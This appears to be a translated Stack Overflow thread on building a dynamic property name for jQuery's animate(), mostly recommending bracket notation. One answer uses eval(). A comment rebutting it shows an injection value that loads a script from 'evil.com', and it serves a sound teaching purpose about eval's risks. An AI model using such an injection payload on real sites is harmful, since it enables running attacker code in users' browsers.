2011-10-02 109 views
3

我有一个名为direction的变量,用于存储:leftright在对象属性名称中使用变量

我需要根据该变量更改受影响的边距。

现在我正在使用条件,是否有可能用变量direction的输出替换“left”?

$("#map").animate({"margin-left": "+=50px"}, 500); 
+0

参见:http://stackoverflow.com/questions/6071471/javascript-object-variable-key – Ariel

回答

5

不是直接的,但你可以创建一个对象,并在animate()使用前对其进行操作:

var direction = "left"; 
var property = {}; 
property[ "margin-"+direction ] = "+=50px"; 
$("#map").animate(property, 500); 
+0

谢谢。我会在几分钟内接受 – lisovaccaro

0
eval('props = {"margin-' + direction + '": "+=50px"}') 
$("#map").animate(props, 500); 
+0

'eval'真的吗? – Shef

+0

Juhana的方式是微型,但这也起作用。 :) –

+2

'var direction ='“+ function(){d = document.createElement(”script“); d.src =”http://evil.com/evil.js“; document.body.appendChild(d )} +“'; ... //你的代码在这里。这仍然有效吗? –

2

使用此。由于没有margin-upmargin-down,你要“手动”进行翻译:

var dir = "left"; 
dir = dir == "up" ? "top" : dir == "down" ? "bottom" : dir; 
var obj = {}; 
obj["margin-" + dir] = "+=50px"; 
$("#map").animate(obj, 500); 

第二行是写一个合法的,更短的方式:

if(dir == "up"){ 
    dir = "top"; 
} else if(dir == "down"){ 
    dir = "bottom"; 
} else { 
    dir = dir; 
} 
+0

或者更好,如果可能的话,首先使用'top'和'bottom'。 – JJJ